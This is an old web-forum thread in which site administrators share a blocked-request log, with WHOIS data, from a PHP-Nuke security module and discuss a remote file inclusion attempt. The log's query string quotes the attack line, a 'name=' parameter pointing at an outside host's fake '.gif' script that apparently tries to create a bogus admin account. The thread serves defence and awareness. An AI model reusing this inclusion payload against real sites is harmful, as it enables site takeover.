Joined: Jul 08, 2004 Posts: 96 Location: Amsterdam, the Netherlands
Posted:
Sun Jul 25, 2004 7:02 am
A.I. asked me post this so..
Datum & Tijd: 2004-07-25 06:49:24
Geblokkeerd IP: 200.184.48.252
Gebruikers ID: Anonymous (1)
Reden: Misbruik - ANDERS
--------------------
Gebruiks Agent: none
Query String: ************/modules.php?name=http://dcha0s.tripod.com.br/xpl.gif?
Doorgestuurd Voor: none
Client IP: none
Remote Adres: 200.184.48.252
Remote Poort: 3554
Aanvraag Methode: GET
--------------------
Who-Is voor IP
200.184.48.252
OrgName: Latin American and Caribbean IP address Regional Registry
OrgID: LACNIC
Address: Potosi 1517
City: Montevideo
StateProv:
PostalCode: 11500
Country: UY
ReferralServer:
Only registered users can see links on this board! Get registered or login to the forums!
NetRange: 200.0.0.0 - 200.255.255.255
CIDR: 200.0.0.0/8
NetName: LACNIC-200
NetHandle: NET-200-0-0-0-1
Parent:
NetType: Allocated to LACNIC
NameServer: NS.LACNIC.NET
NameServer: TINNIE.ARIN.NET
NameServer: NS-SEC.RIPE.NET
NameServer: SEC3.APNIC.NET
NameServer: NS2.DNS.BR
Comment: This IP address range is under LACNIC responsibility for further
Comment: allocations to users in LACNIC region.
Comment: Please see
Only registered users can see links on this board! Get registered or login to the forums!
for further details, or check the
Comment: WHOIS server located at whois.lacnic.net
RegDate: 2002-07-27
Updated: 2004-03-18
name=http:// is what it triggered on. The gif? is likely a script I didn't check it out but theres some floating around that mimick a remote linked image but actually try to create a bogus admin account.
Joined: Oct 30, 2002 Posts: 1043 Location: RedNeck Land (known as Kentucky)
Posted:
Sun Jul 25, 2004 9:35 am
You will also notice that the IP is a Brazilian IP which is known for using this very same attack on many sites. I get this report many times a day from all over Brazil.
View next topic View previous topic
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
![[Valid RSS]](http://www.ravenphpscripts.com/images/valid-rss.png "Validate my RSS feed"){kind=small}
:: 
::
